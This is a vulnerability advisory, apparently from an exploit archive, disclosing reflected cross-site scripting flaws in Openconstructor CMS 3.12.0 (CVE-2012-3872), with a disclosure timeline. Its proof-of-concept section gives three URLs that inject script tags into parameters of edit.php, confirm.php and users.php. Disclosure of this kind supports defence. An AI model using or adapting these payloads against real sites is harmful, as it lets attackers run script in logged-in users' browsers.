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Openconstructor CMS 3.12.0 Reflected XSS

Openconstructor CMS 3.12.0 Reflected XSS
Posted Aug 4, 2012
Authored by Lorenzo Cantoni

Openconstructor CMS version 3.12.0 suffers from multiple reflective cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2012-3872
MD5 | 96e7c5e89c0df7b120b3c2a4da2f4c54

Openconstructor CMS 3.12.0 Reflected XSS

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###Title###: 
Openconstructor CMS 3.12.0 Multiple Reflected Cross-site Scrpting vulnerabilities


###Affected Software###:
http://www.openconstructor.org/
http://code.google.com/p/openconstructor/downloads/list
http://esectorsolutions.com/about/whats-new/esector-news/detailed/?id=234


###Description###:
Openconstructor (formerly known as eSector Solutions Web Constructor) is an open source web Content Management System written in PHP. Multiple Reflected XSS vulnerabilities exist on different parameters of differnt pages.
Verson 3.12.0 is vulnerable, previous version may be affected, but they have not been tested.


###CVE###
CVE-2012-3872


###Impact###:
Attackers can execute malicious javascript in authenticated users's browser, through social engineering techniques.

CVSS Base Score: 4.0 (AV:N/AC:H/Au:N/C:P/I:P/A:N)


###Credits###:
Lorenzo Cantoni


###Details###:
Vulnerabilities has been tested on Internet Explorer 7, as the application is designed to work with that browser. Newer version of the browser with the anti-xss filter enabled, may help to protect users from such attacks.


###Proof of Concept###:

1) http://hostname/openconstructor/data/file/edit.php?result=<script>alert('xss')</script>&id=new&ds_id=8&hybridid=&fieldid=&callback=&type=txt&name=test&description=test&fname=test&create=Save

Note: The right 'ds_id' must be set for an existing object.

2) http://hostname/openconstructor/confirm.php?q=<script>alert('XSS')</script>skin=metallic

3) http://hostname/openconstructor/users/users.php?type=multiple&keyword=<script>alert('xss')</script>


###Disclosure###
[08/07/2012] Lead Developer contacted.
[22/07/2012] No response. Sent another mail.
[04/08/2012] Still no response. Public disclosure.

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